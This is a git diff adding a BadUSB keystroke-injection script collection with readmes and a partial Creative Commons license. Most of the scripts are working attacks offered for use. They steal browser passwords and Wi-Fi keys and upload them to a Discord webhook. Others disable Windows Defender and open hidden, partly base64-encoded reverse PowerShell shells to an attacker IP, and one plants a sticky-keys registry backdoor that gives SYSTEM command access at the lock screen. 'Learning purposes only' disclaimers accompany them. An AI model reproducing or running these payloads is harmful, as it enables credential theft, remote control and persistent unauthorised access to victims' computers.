chrome_passwords_discord +Grabs the "key" and "login data" file for google chrome and sends them to a discord webhook. To decrypt please read below. + +## How to use? + +Well this script is kind of plug and play. After the two files ("encryped passwords" and "key.txt") got sent to your webhook, you will have to decrypt the passwords. + +To do this, I have coded a python program that will use the grabbed "key" to decrypt the passwords. + +Get the [program] + + +## Features + +- open powershell +- grab 2 files +- send files to webhook + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + +[program]: https://github.com/UNC0V3R3D/ChromeDecrypter + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/PasswordStuff/Show_Saved_Password/Show_Saved_Passwords.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/PasswordStuff/Show_Saved_Password/Show_Saved_Passwords.txt new file mode 100644 index 0000000..ece5106 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/PasswordStuff/Show_Saved_Password/Show_Saved_Passwords.txt @@ -0,0 +1,21 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: New script for getting all Webbrowser passwords and sending them to a discord-webhook. +REM Version: 1.0 +REM Category: Passwords +DELAY 500 +WINDOWS d +DELAY 500 +WINDOWS r +DELAY 500 +STRING powershell Start-Process powershell -Verb runAs +ENTER +DELAY 800 +LEFTARROW +ENTER +DELAY 800 +STRING $hookurl = "webhook url here" +ENTER +DELAY 300 +STRING mkdir \temp; cd \temp; Invoke-WebRequest -Headers @{'Referer' = 'http://www.nirsoft.net/utils/web_browser_password.html'} -Uri https://www.nirsoft.net/toolsdownload/webbrowserpassview.zip -OutFile wbpv.zip; Invoke-WebRequest -Uri https://www.7-zip.org/a/7za920.zip -OutFile 7z.zip; Expand-Archive 7z.zip; .\7z\7za.exe e wbpv.zip; Start-Sleep -Seconds 5; $pass = ConvertTo-SecureString 'wbpv28821@' -AsPlainText -Force; $cred = New-Object System.Management.Automation.PSCredential ('', $pass); Start-Process -FilePath .\WebBrowserPassView.exe -Credential $cred -Wait; Start-Sleep -Seconds 3; $wshell = New-Object -ComObject Wscript.Shell; $wshell.SendKeys('^{A}'); $wshell.SendKeys('^{S}'); Start-Sleep -Seconds 1; $wshell.SendKeys('export'); $wshell.SendKeys('{Tab}'); $wshell.SendKeys('h'); $wshell.SendKeys('{Enter}'); Start-Sleep -Seconds 1; $wshell.SendKeys('%{F4}'); Start-Sleep -Seconds 1; $file = 'C:\temp\export.htm'; function Upload-Discord {[CmdletBinding()] param ([parameter(Position=0,Mandatory=$False)][string]$file,[parameter(Position=1,Mandatory=$False)][string]$text); $Body = @{'username' = $env:username; 'content' = $text}; if (-not ([string]::IsNullOrEmpty($text))){Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -Body ($Body | ConvertTo-Json)}; if (-not ([string]::IsNullOrEmpty($file))){curl.exe -F 'file1=@$file' $hookurl}; }; Upload-Discord -file 'C:\temp\export.htm' -text 'File:' +ENTER + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/PasswordStuff/Show_Saved_Password/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/PasswordStuff/Show_Saved_Password/readme.md new file mode 100644 index 0000000..b0ac248 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/PasswordStuff/Show_Saved_Password/readme.md @@ -0,0 +1,38 @@ + +# Show_Saved_Passwords +Shows all saved passwords. + +## How to use? + +This script is not plug and play. You have to make the following changes: + +- change the discord webhook url (Line 16) + + +## Features + +- open powershell +- download webbrowserview.exe +- save passwords from webbrowsers +- send file to discord webhook + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/PasswordStuff/StealWifiKeys/StealWifiKeys.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/PasswordStuff/StealWifiKeys/StealWifiKeys.txt new file mode 100644 index 0000000..a1eb96e --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/PasswordStuff/StealWifiKeys/StealWifiKeys.txt @@ -0,0 +1,21 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Steals all of the saved Wifi Passwords and stores them into a file. +REM Version: 1.0 +REM Category: Passwords +DELAY 500 +WINDOWS d +DELAY 500 +WINDOWS r +DELAY 500 +STRING powershell Start-Process powershell -Verb runAs +ENTER +DELAY 800 +LEFTARROW +ENTER +DELAY 800 +ALT y +DELAY 500 +GUI UP +DELAY 600 +STRING $folderDateTime = (get-date).ToString('d-M-y HHmmss');$userDir = (Get-ChildItem env:\userprofile).value + '\Walkuer Ghost Report ' + $folderDateTime;$fileSaveDir = New-Item ($userDir) -ItemType Directory;$date = get-date;netsh wlan export profile key=clear folder=$fileSaveDir;Compress-Archive -Path $fileSaveDir -DestinationPath C:PUT PATH HERE\ResultsPassword.zip ; exit +ENTER \ No newline at end of file diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/PasswordStuff/StealWifiKeys/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/PasswordStuff/StealWifiKeys/readme.md new file mode 100644 index 0000000..f9ecd47 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/PasswordStuff/StealWifiKeys/readme.md @@ -0,0 +1,37 @@ + +# StealWifiKeys +Steals all of the saved Wifi Passwords and stores them into a file. + +## How to use? + +This script is not plug and play. You will need to do the following changes: + +- change destination path "-DestinationPath C:PUT PATH HERE\ResultsPassword.zip" + + +## Features + +- open powershell +- grab wifi keys +- store keys to a file + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/PasswordStuff/StealWifiKeys_Discord/StealWifiKeys_Discord.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/PasswordStuff/StealWifiKeys_Discord/StealWifiKeys_Discord.txt new file mode 100644 index 0000000..5e27933 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/PasswordStuff/StealWifiKeys_Discord/StealWifiKeys_Discord.txt @@ -0,0 +1,21 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Steals all of the saved Wifi Passwords and sends them to a discord webhook. +REM Version: 1.0 +REM Category: Passwords +DELAY 750 +WINDOWS d +DELAY 1500 +WINDOWS r +DELAY 1500 +STRING powershell Start-Process powershell -Verb runAs +ENTER +DELAY 750 +LEFTARROW +ENTER +DELAY 1200 +ALT y +DELAY 1200 +GUI UP +DELAY 1200 +STRING $hookurl = "DISCORD WEBHOOK URL"; $folderDateTime = (get-date).ToString('d-M-y HHmmss'); $userDir = (Get-ChildItem env:\userprofile).value + '\UNC0V3R3D ' + $folderDateTime; $fileSaveDir = New-Item ($userDir) -ItemType Directory; $date = get-date; netsh wlan export profile key=clear folder=$fileSaveDir; Compress-Archive -Path $fileSaveDir -DestinationPath c:\results-74935290.zip; $Body = @{'username' = $env:username; 'content' = "Obiwan: Hello there!"}; Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -Body ($Body | ConvertTo-Json); curl.exe -F 'file1=@c:\results-74935290.zip' $hookurl; +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/PasswordStuff/StealWifiKeys_Discord/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/PasswordStuff/StealWifiKeys_Discord/readme.md new file mode 100644 index 0000000..c91823b --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/PasswordStuff/StealWifiKeys_Discord/readme.md @@ -0,0 +1,36 @@ + +# StealWifiKeys_Discord +Steals all of the saved Wifi Passwords, stores them to a file and uplaods the file to a discord webhook. + +## How to use? + +This script is not plug and play. You will need to do the following changes: + +- change webhook url + + +## Features + +- open powershell +- grab wifi keys +- store keys to a file +- sends file to discord webhook + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/PasswordStuff/StealWifiKeys_onUSB/StealWifiKeys_onUSB.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/PasswordStuff/StealWifiKeys_onUSB/StealWifiKeys_onUSB.txt new file mode 100644 index 0000000..1457b52 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/PasswordStuff/StealWifiKeys_onUSB/StealWifiKeys_onUSB.txt @@ -0,0 +1,20 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Steals all of the saved Wifi Passwords and stores them into a USB device of your choice. +REM Version: 1.0 +REM Category: Passwords +DELAY 750 +WINDOWS d +DELAY 1000 +WINDOWS r +DELAY 900 +STRING powershell Start-Process powershell -Verb runAs +ENTER +DELAY 750 +LEFTARROW +ENTER +DELAY 900 +ALT y +DELAY 900 +GUI UP +DELAY 900 +STRING $folderDateTime = (get-date).ToString('d-M-y HHmmss');$userDir = (Get-ChildItem env:\userprofile).value + '\Walkuer Ghost Report ' + $folderDateTime;$fileSaveDir = New-Item ($userDir) -ItemType Directory;$date = get-date;netsh wlan export profile key=clear folder=$fileSaveDir;Compress-Archive -Path $fileSaveDir -DestinationPath File path on USB device here \ No newline at end of file diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/PasswordStuff/StealWifiKeys_onUSB/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/PasswordStuff/StealWifiKeys_onUSB/readme.md new file mode 100644 index 0000000..9340039 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/PasswordStuff/StealWifiKeys_onUSB/readme.md @@ -0,0 +1,37 @@ + +# StealWifiKeys_onUSB +Steals all of the saved Wifi Passwords and stores them into a file, then puts the file on a usb device connected to the target pc. + +## How to use? + +This script is not plug and play and only for experienced users. You will need to do the following changes: + +- change path to the usb device "-DestinationPath File path on USB device here" + + +## Features + +- open powershell +- grab wifi keys +- store keys to a file on a usb device + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Remote-Access/Better-Reverse-Shell/better-rev-shell.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Remote-Access/Better-Reverse-Shell/better-rev-shell.txt new file mode 100644 index 0000000..da239a4 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Remote-Access/Better-Reverse-Shell/better-rev-shell.txt @@ -0,0 +1,35 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Better reverse PowerShell. In case of problems, please open an issue. +REM Version: 1.0 +REM Category: Remote-Access +DELAY 750 +WINDOWS d +DELAY 1500 +WINDOWS r +DELAY 1500 +STRING powershell Start-Process powershell -Verb runAs +ENTER +DELAY 560 +LEFTARROW +DELAY 500 +ENTER +DELAY 700 +STRING Set-MpPreference -DisableRealtimeMonitoring $true +ENTER +DELAY 700 +STRING Add-Type -MemberDefinition @'[DllImport("user32.dll")] public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);[DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);'@ -Name WinAPI -Namespace Win32 -PassThru;$Window=[Win32.WinAPI]::FindWindow("ConsoleWindowClass",(Get-Process -Id $PID).MainWindowTitle);$Win32.WinAPI::ShowWindow($Window,0) +DELAY 700 +STRING ip = 'YOUR-IP HERE'; +ENTER +DELAY 700 +STRING port = 'PORT HERE'; +ENTER +DELAY 700 +STRING encoded_command = 'cG93ZXJzaGVsbCAtbm9wIC1XIGhpZGRlbiAtbm9uaSAtZXAgYnlwYXNzIC1jICIkVENQQ2xpZW50ID0gTmV3LU9iamVjdCBOZXQuU29ja2V0cy5UQ1BDbGllbnQoJzx1c2VyX2RlZmluZWRfaXA+JywgPHVzZXJfZGVmaW5lZF9wb3J0Pik7JE5ldHdvcmtTdHJlYW0gPSAkVENQQ2xpZW50LkdldFN0cmVhbSgpOyRTdHJlYW1Xcml0ZXIgPSBOZXctT2JqZWN0IElPLlN0cmVhbVdyaXRlcigkTmV0d29ya1N0cmVhbSk7ZnVuY3Rpb24gV3JpdGVUb1N0cmVhbSAoJFN0cmluZykge1tieXRlW11dJHNjcmlwdDpCdWZmZXIgPSAwLi4kVENQQ2xpZW50LlJlY2VpdmVCdWZmZXJTaXplIHwgJSB7MH07JFN0cmVhbVdyaXRlci5Xcml0ZSgkU3RyaW5nICsgJ1NIRUxMPiAnKTskU3RyZWFtV3JpdGVyLkZsdXNoKCl9V3JpdGVUb1N0cmVhbSAnJzt3aGlsZSgoJEJ5dGVzUmVhZCA9ICROZXR3b3JrU3RyZWFtLlJlYWQoJEJ1ZmZlciwgMCwgJEJ1ZmZlci5MZW5ndGgpKSAtZ3QgMCkgeyRDb21tYW5kID0gKFt0ZXh0LmVuY29kaW5nXTo6VVRGOCkuR2V0U3RyaW5nKCRCdWZmZXIsIDAsICRCeXRlc1JlYWQgLSAxKTskT3V0cHV0ID0gdHJ5IHtJbnZva2UtRXhwcmVzc2lvbiAkQ29tbWFuZCAyPiYxIHwgT3V0LVN0cmluZ30gY2F0Y2ggeyRfIHwgT3V0LVN0cmluZ31Xcml0ZVRvU3RyZWFtICgkT3V0cHV0KX0kU3RyZWFtV3JpdGVyLkNsb3NlKCki' +ENTER +DELAY 700 +STRING -e encoded_command +ENTER +DELAY 2000 +STRING -e JFdpbmRvdz0kV2luQVBJOjpGaW5kV2luZG93KCJDb25zb2xlV2luZG93Q2xhc3MiLChHZXQtUHJvY2VzcyAtSWQgJFBJRCkuTWFpbldpbmRvd1RpdGxlKTskV2luQVBJOjpTaG93V2luZG93KCRXaW5kb3csMCk= +ENTER \ No newline at end of file diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Remote-Access/Better-Reverse-Shell/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Remote-Access/Better-Reverse-Shell/readme.md new file mode 100644 index 0000000..274cfd1 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Remote-Access/Better-Reverse-Shell/readme.md @@ -0,0 +1,41 @@ + +# Better-Rev-Shell + +This script is for learning purposes only. I am not responsible for your actions and not going to help you setting up the scripts as I don't want to get into trouble. I do/will not support any illegal activities. + + + + +## How to use? + +This script is not plug and play and only for experienced users. You will need to do everything on your own as I am not responsible. + + + + +## Features + +- x + + + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Remote-Access/CommandLineBackdoor/CommandLineBackdoor.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Remote-Access/CommandLineBackdoor/CommandLineBackdoor.txt new file mode 100644 index 0000000..38752a9 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Remote-Access/CommandLineBackdoor/CommandLineBackdoor.txt @@ -0,0 +1,100 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Creates a command prompt "backdoor" that can be launched in almost any "secure" Windows environment, +REM (Lock Screen for example) via Sticky Keys shortcuts (Pressing shift five times) or the keyboard combination Alt+Shift+PrtScr. +REM This then results in launching the command prompt in the same account as the current environment, i.e. SYSTEM or your user account. +REM Version: 1.0 +REM Category: Remote_Access +REM plug in second USB in before the Flipper +DELAY 3000 +CONTROL ESCAPE +DELAY 500 +STRING notepad +DELAY 250 +ENTER +DELAY 750 +STRING @echo off +ENTER +STRING :init +ENTER +STRING setlocal DisableDelayedExpansion +ENTER +STRING set cmdInvoke=1 +ENTER +STRING set winSysFolder=System32 +ENTER +STRING set "batchPath=%~0" +ENTER +STRING for %%k in (%0) do set batchName=%%~nk +ENTER +STRING set "TEMPVBS=%temp%\OEgetPriv_run.vbs" +ENTER +STRING setlocal EnableDelayedExpansion +ENTER +STRING :checkPrivileges +ENTER +STRING NET FILE 1>NUL 2>NUL +ENTER +STRING if '%errorlevel%' == '0' (goto gotPrivileges) else (goto getPrivileges) +ENTER +STRING :getPrivileges +ENTER +STRING if '%1'=='ELEV' (echo ELEV & shift /1 & goto gotPrivileges) +ENTER +STRING echo Set UAC = CreateObject^("Shell.Application"^) > "%TEMPVBS%" +ENTER +STRING echo args = "ELEV " >> "%TEMPVBS%" +ENTER +STRING echo For Each strArg in WScript.Arguments >> "%TEMPVBS%" +ENTER +STRING echo args = args ^& strArg ^& " " >> "%TEMPVBS%" +ENTER +STRING echo Next>> "%TEMPVBS%" +ENTER +STRING if '%cmdInvoke%'=='1' goto InvokeCmd +ENTER +STRING echo UAC.ShellExecute "!batchPath!", args, "", "runas", 1 >> "%TEMPVBS%" +ENTER +STRING goto ExecElevation +ENTER +STRING :InvokeCmd +ENTER +STRING echo args = "/c """ + "!batchPath!" + """ " + args >> "%TEMPVBS%" +ENTER +STRING echo UAC.ShellExecute "%SystemRoot%\%winSysFolder%\cmd.exe", args, "", "runas", 1 >> "%TEMPVBS%" +ENTER +STRING :ExecElevation +ENTER +STRING "%SystemRoot%\%winSysFolder%\WScript.exe" "%TEMPVBS%" %* +ENTER +STRING exit /B +ENTER +STRING :gotPrivileges +ENTER +STRING setlocal & cd /d "%~dp0." +ENTER +STRING if '%1'=='ELEV' (del "%TEMPVBS%" 1>nul 2>nul & shift /1) +ENTER +STRING reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /ve /f && reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v "Debugger" /t REG_SZ /d "cmd.exe" /f && cls && echo Payload Installed Successfully && pause && goto end +ENTER +STRING cls +ENTER +STRING echo Payload Install Failed +ENTER +STRING pause +ENTER +STRING :end +ENTER +STRING del /F /Q "%~0" && exit +CONTROL s +DELAY 500 +STRING %temp%\run.bat +TAB +STRING a +ENTER +DELAY 250 +ALT F4 +DELAY 250 +CONTROL ESCAPE +DELAY 500 +STRING %temp%\run.bat +ENTER \ No newline at end of file diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Remote-Access/CommandLineBackdoor/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Remote-Access/CommandLineBackdoor/readme.md new file mode 100644 index 0000000..7caa7ba --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Remote-Access/CommandLineBackdoor/readme.md @@ -0,0 +1,33 @@ + +# CommandLineBackdoor +This script is for learning purposes only. I am not responsible for your actions and not going to help you with anything. + +## How to use? + +This script is not plug and play and only for experienced users. You will need to do everything on your own as I am not responsible. + + +## Features + +- x + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Remote-Access/ReversePowershell/ReversePowershell.txt b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Remote-Access/ReversePowershell/ReversePowershell.txt new file mode 100644 index 0000000..36db315 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Remote-Access/ReversePowershell/ReversePowershell.txt @@ -0,0 +1,59 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Reverse-PowerShell Windows. I am not responsible for your actions. +REM Version: 1.0 +REM Category: Remote_Access +DELAY 750 +GUI r +DELAY 1000 +STRING powershell Start-Process notepad -Verb runAs +ENTER +DELAY 750 +ALT y +DELAY 750 +ENTER +ALT SPACE +DELAY 1000 +STRING m +DELAY 1000 +DOWNARROW +REPEAT 100 +ENTER +STRING Add-Content “$env:TEMP\34593.ps1” ‘$c = New-Object System.Net.Sockets.TCPClient(“”,);$s = $c.GetStream();[byte[]]$b = 0..255|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $d 2>&1 | Out-String );$sb2 = $sb + “PS ” + (pwd).Path + “> “;$sby = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sby,0,$sby.Length);$s.Flush()};$c.Close()’ +ENTER +DELAY 750 +STRING Set-MpPreference -DisableRealtimeMonitoring $true +DELAY 500 +ENTER +DELAY 750 +STRING start-Process powershell.exe -windowstyle hidden “$env:TEMP\34593.ps1” +ENTER +STRING Remove-Item $MyINvocation.InvocationName +ENTER +CTRL s +DELAY 1000 +STRING C:\Windows\config-34593.ps1 +ENTER +DELAY 1000 +ALT F4 +DELAY 750 +GUI r +DELAY 750 +STRING powershell Start-Process cmd -Verb runAs +ENTER +DELAY 750 +ALT y +DELAY 1000 +STRING mode con:cols=14 lines=1 +ENTER +ALT SPACE +DELAY 750 +STRING m +DELAY 750 +DOWNARROW +REPEAT 100 +ENTER +STRING powershell Set-ExecutionPolicy ‘Unrestricted’ -Scope CurrentUser -Confirm:$false +ENTER +DELAY 750 +STRING powershell.exe -windowstyle hidden -File C:\Windows\config-34593.ps1 +ENTER diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Remote-Access/ReversePowershell/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Remote-Access/ReversePowershell/readme.md new file mode 100644 index 0000000..18be229 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Remote-Access/ReversePowershell/readme.md @@ -0,0 +1,33 @@ + +# ReversePowershell +This script is for learning purposes only. I am not responsible for your actions and not going to help you setting up the scripts as I don't want to get into trouble. I do/will not support any illegal activities. + +## How to use? + +This script is not plug and play and only for experienced users. You will need to do everything on your own as I am not responsible. + + +## Features + +- x + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/iPhone_Badusb/open-website/iPhone_open_website.txt b/badusb/UNC0V3R3D-BadUSB-Collection/iPhone_Badusb/open-website/iPhone_open_website.txt new file mode 100644 index 0000000..07a0434 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/iPhone_Badusb/open-website/iPhone_open_website.txt @@ -0,0 +1,15 @@ +REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) +REM Description: Open any website on an iPhone. +REM Version: 1.0 +REM Category: iPhone +DELAY 1000 +GUI SPACE +DELAY 500 +STRING safari +DELAY 500 +ENTER +DELAY 1000 +REM Insert your website below :) +STRING www.yourwebsite.com +DELAY 500 +ENTER \ No newline at end of file diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/iPhone_Badusb/open-website/readme.md b/badusb/UNC0V3R3D-BadUSB-Collection/iPhone_Badusb/open-website/readme.md new file mode 100644 index 0000000..ec4c0cb --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/iPhone_Badusb/open-website/readme.md @@ -0,0 +1,42 @@ + +# iPhone_open_website + +This script will open any website on an iPhone. + + + + +## How to use? + +This script is not plug and play. Insert the url that you want to open right here "STRING www.yourwebsite.com" + + + + +## Features + +- open website + + + + +## Feedback + +If you have any feedback, please reach out to me via Discord "UNC0V3R3D#8662". + + + + + + +## Support + +For support, contact me via Discord "UNC0V3R3D#8662". + + +## Meta + + +- If you want to sponsor me on Patreon, the link is on my profile. + + diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/language.ps1 b/badusb/UNC0V3R3D-BadUSB-Collection/language.ps1 new file mode 100644 index 0000000..4443b57 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/language.ps1 @@ -0,0 +1 @@ +Write-Output “This is just the language file so just ignore it” diff --git a/badusb/UNC0V3R3D-BadUSB-Collection/license.md b/badusb/UNC0V3R3D-BadUSB-Collection/license.md new file mode 100644 index 0000000..e3fe2f6 --- /dev/null +++ b/badusb/UNC0V3R3D-BadUSB-Collection/license.md @@ -0,0 +1,175 @@ +# Attribution-NonCommercial-ShareAlike 4.0 International + +Creative Commons Corporation (“Creative Commons”) is not a law firm and does not provide legal services or legal advice. Distribution of Creative Commons public licenses does not create a lawyer-client or other relationship. Creative Commons makes its licenses and related information available on an “as-is” basis. Creative Commons gives no warranties regarding its licenses, any material licensed under their terms and conditions, or any related information. Creative Commons disclaims all liability for damages resulting from their use to the fullest extent possible. + +### Using Creative Commons Public Licenses + +Creative Commons public licenses provide a standard set of terms and conditions that creators and other rights holders may use to share original works of authorship and other material subject to copyright and certain other rights specified in the public license below. The following considerations are for informational purposes only, are not exhaustive, and do not form part of our licenses. + +* __Considerations for licensors:__ Our public licenses are intended for use by those authorized to give the public permission to use material in ways otherwise restricted by copyright and certain other rights. Our licenses are irrevocable. Licensors should read and understand the terms and conditions of the license they choose before applying it. Licensors should also secure all rights necessary before applying our licenses so that the public can reuse the material as expected. Licensors should clearly mark any material not subject to the license. This includes other CC-licensed material, or material used under an exception or limitation to copyright. [More considerations for licensors](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensors). + +* __Considerations for the public:__ By using one of our public licenses, a licensor grants the public permission to use the licensed material under specified terms and conditions. If the licensor’s permission is not necessary for any reason–for example, because of any applicable exception or limitation to copyright–then that use is not regulated by the license. Our licenses grant only permissions under copyright and certain other rights that a licensor has authority to grant. Use of the licensed material may still be restricted for other reasons, including because others have copyright or other rights in the material. A licensor may make special requests, such as asking that all changes be marked or described. Although not required by our licenses, you are encouraged to respect those requests where reasonable. [More considerations for the public](http://wiki.creativecommons.org/Considerations_for_licensors_and_licensees#Considerations_for_licensees). + +## Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International Public License + +By exercising the Licensed Rights (defined below), You accept and agree to be bound by the terms and conditions of this Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International Public License ("Public License"). To the extent this Public License may be interpreted as a contract, You are granted the Licensed Rights in consideration of Your acceptance of these terms and conditions, and the Licensor grants You such rights in consideration of benefits the Licensor receives from making the Licensed Material available under these terms and conditions. + +### Section 1 – Definitions. + +a. __Adapted Material__ means material subject to Copyright and Similar Rights that is derived from or based upon the Licensed Material and in which the Licensed Material is translated, altered, arranged, transformed, or otherwise modified in a manner requiring permission under the Copyright and Similar Rights held by the Licensor. For purposes of this Public License, where the Licensed Material is a musical work, performance, or sound recording, Adapted Material is always produced where the Licensed Material is synched in timed relation with a moving image. + +b. __Adapter's License__ means the license You apply to Your Copyright and Similar Rights in Your contributions to Adapted Material in accordance with the terms and conditions of this Public License. + +c. __BY-NC-SA Compatible License__ means a license listed at [creativecommons.org/compatiblelicenses](http://creativecommons.org/compatiblelicenses), approved by Creative Commons as essentially the equivalent of this Public License. + +d. __Copyright and Similar Rights__ means copyright and/or similar rights closely related to copyright including, without limitation, performance, broadcast, sound recording, and Sui Generis Database Rights, without regard to how the rights are labeled or categorized. For purposes of this Public License, the rights specified in Section 2(b)(1)-(2) are not Copyright and Similar Rights. + +e. __Effective Technological Measures__ means those measures that, in the absence of proper authority, may not be circumvented under laws fulfilling obligations under Article 11 of the WIPO Copyright Treaty adopted on December 20, 1996, and/or similar international agreements. + +f. __Exceptions and Limitations__ means fair use, fair dealing, and/or any other exception or limitation to Copyright and Similar Rights that applies to Your use of the Licensed Material. + +g. __License Elements__ means the license attributes listed in the name of a Creative Commons Public License. The License Elements of this Public License are Attribution, NonCommercial, and ShareAlike. + +h. __Licensed Material__ means the artistic or literary work, database, or other material to which the Licensor applied this Public License. + +i. __Licensed Rights__ means the rights granted to You subject to the terms and conditions of this Public License, which are limited to all Copyright and Similar Rights that apply to Your use of the Licensed Material and that the Licensor has authority to license. + +h. __Licensor__ means the individual(s) or entity(ies) granting rights under this Public License. + +i. __NonCommercial__ means not primarily intended for or directed towards commercial advantage or monetary compensation. For purposes of this Public License, the exchange of the Licensed Material for other material subject to Copyright and Similar Rights by digital file-sharing or similar means is NonCommercial provided there is no payment of monetary compensation in connection with the exchange. + +j. __Share__ means to provide material to the public by any means or process that requires permission under the Licensed Rights, such as reproduction, public display, public performance, distribution, dissemination, communication, or importation, and to make material available to the public including in ways that members of the public may access the material from a place and at a time individually chosen by them. + +k. __Sui Generis Database Rights__ means rights other than copyright resulting from Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, as amended and/or succeeded, as well as other essentially 